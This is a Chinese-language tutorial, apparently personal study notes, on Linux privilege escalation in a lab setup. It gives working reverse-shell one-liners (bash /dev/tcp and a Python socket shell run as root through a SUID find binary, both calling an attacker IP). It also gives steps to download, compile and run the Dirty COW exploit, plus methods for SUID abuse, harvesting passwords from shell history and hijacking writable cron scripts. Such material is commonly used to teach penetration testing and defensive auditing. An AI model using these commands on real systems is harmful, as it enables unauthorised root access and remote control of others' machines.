Linux提权基础

0x00 Linux提权方法

大致归纳总结如下:
image.png
不过最核心也是最常见的提取方法还是内核提权,其他大多与程序员的配置有关,出现的几率不是很高。

0x01:Linux提权基础知识

  1. 查看内核版本
  2. uname -a
  3. 显示用户的ID,以及所属群组的ID
  4. id
  5. 显示当前路径
  6. pwd
  7. 查看已经安装的程序
  8. dpkg -l
  9. rpm -qa
  10. 查看发行版
  11. cat /etc/issue
  12. cat /etc/*-release

密码权限
大部分Linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件有关,passwd里面储存的是用户,shadow里面存储的是密码的hash值。出于安全考虑passwd是全用户可读,root可写的,而shadow是仅root可读写的。
/etc/passwd
image.png
passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面.
/etc/shadow
image.png
shadow里面的就是密码的hash,但只有root权限才可以查看。
密码复用
另外需要注意的是很多管理员会重复使用密码,所以有可能数据库或者web后台的密码就是root密码。
提权常见的流程

  1. 1.下载exp文件
  2. wget http://exp/exp.c
  3. 2.利用gcc进行编译操作,编译成二进制文件
  4. gcc -o exp exp.c
  5. 3.exp更改为可执行权限
  6. chmod +x exp
  7. 4.运行exp进行提权
  8. ./exp

0x02:Linux反弹shell

Linux一般拿到shell,权限基本都很低,而且在菜刀或其他工具中执行命令没有交互过程(在菜刀等工具中,只是输入返回内容,如在菜刀中执行ssh等命令就不可行),所以需要通过反弹shell拥有一个交互式的shell
准备环境

ubuntu + apache
kail 192.168.186.134
ubuntu 192.168.186.152

上传进去一个php一句话木马,菜刀连接
image.png
查看当前权限
image.png
下面就使用反弹shell的方法获取到交互式shell

第一种方法:

利用最经典也是最常用的方法进行反弹shell,另外反弹shell时设置的端口最好是常用端口,不常用的端口可能会被防火墙给拦截掉。

  1. 先进行本地进行监听:
  2. nc -lvp 53
  3. 然后在拿到shell的机器上执行:
  4. bash -i >& /dev/tcp/192.168.186.134/53 0>&1

但是执行失败了,没有权限
image.png

第二种方法:

利用python脚本进行反弹shell,要将脚本上传到服务器上就要找一个低权限用户可以上传且可以执行的目录,一般在tmp或者/var/tmp中就有这样的权限
image.png
pyshell

  1. 使用方法:
  2. 本地监听 nc -l -p 53 -vv
  3. 目标机器执行:python back.py 192.168.186.134 53

image.png
反弹成功,这样就形成了一个交互式的shell,方便下一步的进行
如果在使用python文件没有权限时,使用如下命令即可,因为该文件是当前用户上传进去的,拥有修改的权限。

  1. chmod 777 back.py

image.png

0x03:脏牛提权

Dirty COW,CVE-2016-5195,攻击者可利用该漏洞本地以低权限提升到root权限。Dirty COW 是一个特权升级漏洞,可以在每个Linux发行版中找到。这个漏洞的特别之处在于,防病毒和安全软件无法检测,一旦被利用,根本无从知晓。
漏洞在全版本Linux系统(Linux kernel >= 2.6.22)均可以实现提权
如果内核版本低于列表里的版本,表示还存在脏牛漏洞

  1. Centos7 /RHEL7 3.10.0-327.36.3.el7
  2. Cetnos6/RHEL6 2.6.32-642.6.2.el6
  3. Ubuntu 16.10 4.8.0-26.28
  4. Ubuntu 16.04 4.4.0-45.66
  5. Ubuntu 14.04 3.13.0-100.147
  6. Debian 8 3.16.36-1+deb8u2
  7. Debian 7 3.2.82-1

exp地址
在反弹shell成功的基础上继续来做
先来看一下操作系统的版本,低于列表里的版本即存在脏牛漏洞

  1. uname -r

通过/etc/passwd了解到超级管理员是root
image.png
查看下当前用户的id
image.png
下载exp文件

  1. wget https://github.com/FireFart/dirtycow/blob/master/dirty.c

可以看exp中的说明来执行命令
Linux提权 - 图12

先通过gcc来编译dirty.c文件

  1. gcc -pthread dirty.c -o dirty -lcrypt

image.png
编译好的dirty文件,替换root用户

  1. ./dirty

成功替换掉了原来的root用户,提权成功。
image.png
脏牛提权除下这个exp,还有其他的,例如:CVE-2016-5195,具体就不在演示了,按照说明即可,注意文件名不对,自己改下就好。
image.png

Linux提权实战

0x00:Linux分析工具

1、Linux-exploit-suggester

Linux权限提升审核工具,是基于操作系统的内核版本号。程序会执行“uname -r”命令来获取Linux操作系统发行版本,之后返回一个包含了适用exploits的提示列表。
Linux-exploit-suggester

  1. ./linux-exploit-suggester.sh

执行命令即可
image.png
这样就将存在的漏洞呈现了出来,利用exp提权即可,非常方便.

2、Searchsploit

Searchsploit通过本地的exploit-db, 查找软件漏洞信息

使用方法:
searchsploit
image.png
如需查看CentOS 7 内核版本为3.10的内核漏洞

  1. searchsploit centos 7 kernel 3.10

image.png

知道该内核版本下存在哪些漏洞即可进行提权操作

0x02:SUID提权

什么是SUID
在Linux中,存在suid、guid、sticky,SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
如果想要为文件附上这样的权限命令:

  1. chmod u+s
  2. chmod 4755

(有s标志位便是拥有SUID权限)
具体的话大致理解就是通过拥有SUID权限二进制文件或程序可以执行命令等,从而进行root提权操作
image.png
查找符合条件的文件

  1. find / -user root -perm -4000 -print 2>/dev/null
  2. find / -perm -u=s -type f 2>/dev/null
  3. find / -user root -perm -4000 -exec ls -ldb {} \;

image.png
上面的所有二进制文件都可以在root权限下运行,因为属主是root,且权限中含有s
下面就以find命令来实践一下,首先要给find设当SUID权限

  1. chmod u+s /usr/bin/find

image.png
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。

当前用户为
image.png
随便找一个文件主要是为了执行后面的命令

  1. /usr/bin/find pass.txt -exec whoami \;

image.png
提权成功,接下来以root用户的身份反弹shell

  1. /usr/bin/find pass.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.150",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;

image.png
如果出现如下错误,关闭两边的防火墙即可
image.png
反弹shell成功,当然还有其他命令可以进行提权,前提是要有SUID权限,这里就不再举例了。

0x03:历史记录提权

通过查看历史记录,查看是否有有用的信息,有的管理员为了方便登陆mysql或其他软件时,不经意间加上参数-p,从而将密码暴露出来或者一些.sh脚本连接mysql、vpn等,查看对应的配置文件即可拿到账号密码

  1. 保存了当前用户使用过的历史命令
  2. cat ~/.bash_history

image.png
如果拿到数据库的账号密码,有可能就是root密码

0x04:计划任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

  1. ls -l /etc/cron*

image.png
默认这些程序是以root权限执行,如果有任意用户可写的脚本,我们就可以修改脚本等回连rootshell了。

0x05:配置错误引发提权

手动找如果对Linux系统不熟悉的话基本是找不到的,所以可以利用工具去查找
unix-privesc-checkhttp://pentestmonkey.net/tools/audit/unix-privesc-check
linuxprivcheckerhttps://www.securitysift.com/download/linuxprivchecker.py
image.png
检查了非常多的配置问题,而且还列出了所有的可写文件,如果找到有配置问题的便可以进行提权操作。

总结

经过这次学习,简单的算是对Linux提权有了一定的了解,但还有很多姿势需要去学习,还是需要不断去积累。

参考博客

https://www.cnblogs.com/BOHB-yunying/articles/11517748.html
https://www.cnblogs.com/hookjoy/p/6612595.html